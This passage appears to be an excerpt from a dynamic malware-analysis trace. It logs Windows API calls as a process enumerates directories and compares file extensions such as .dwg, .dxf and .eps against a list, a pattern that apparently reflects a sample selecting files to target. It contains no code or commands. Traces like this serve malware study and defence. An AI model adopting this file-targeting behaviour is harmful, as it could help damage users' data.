lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0199.935] lstrlenW (lpString=".dwt") returned 4 [0199.935] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0199.935] lstrlenW (lpString=".dx") returned 3 [0199.935] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0199.935] lstrlenW (lpString=".dxf") returned 4 [0199.935] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0199.935] lstrlenW (lpString=".edml") returned 5 [0199.935] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0199.935] lstrlenW (lpString=".efd") returned 4 [0199.935] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0199.936] lstrlenW (lpString=".elf") returned 4 [0199.936] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0199.936] lstrlenW (lpString=".emf") returned 4 [0199.936] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0199.936] lstrlenW (lpString=".emz") returned 4 [0199.936] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0199.936] lstrlenW (lpString=".epf") returned 4 [0199.936] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0199.936] lstrlenW (lpString=".eps") returned 4 [0199.936] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0199.936] lstrlenW (lpString=".epsf") returned 5 [0199.936] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0199.936] lstrlenW (lpString=".epsp") returned 5 [0199.936] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0199.936] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.936] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0199.937] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.937] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0199.937] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.937] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0199.937] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.937] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0199.937] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.937] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0199.938] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.938] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0199.938] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.938] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0199.939] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.939] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0199.939] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.939] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0199.939] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.939] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0199.939] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.939] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0199.940] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.940] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0199.940] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.940] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0199.940] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.940] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0199.940] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.940] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0199.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.941] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.941] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0199.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.941] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0199.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.941] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0199.941] FindClose (in: hFindFile=0x4420220 | out: hFindFile=0x4420220) returned 1 [0199.941] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.941] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0199.942] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.943] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0199.943] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0199.943] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0199.944] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1 [0199.945] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.945] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0199.945] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.945] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0199.945] FindClose (in: hFindFile=0x43a380 | out: hFindFile=0x43a380) returned 1 [0199.945] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0199.945] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aicuc", cAlternateFileName="")) returned 1 [0199.946] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.946] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0199.950] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.951] FindNextFileW (in: hFindFile=0x4420860, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0199.951] FindClose (in: hFindFile=0x4420860 | out: hFindFile=0x4420860) returned 1 [0199.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0199.951] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1 [0199.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.951] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0199.951] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.951] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0199.952] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.952] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0199.952] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.952] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0199.952] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.952] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0199.953] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.953] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0199.953] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.953] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0199.953] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.953] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0199.953] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.953] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0199.954] HeapFree 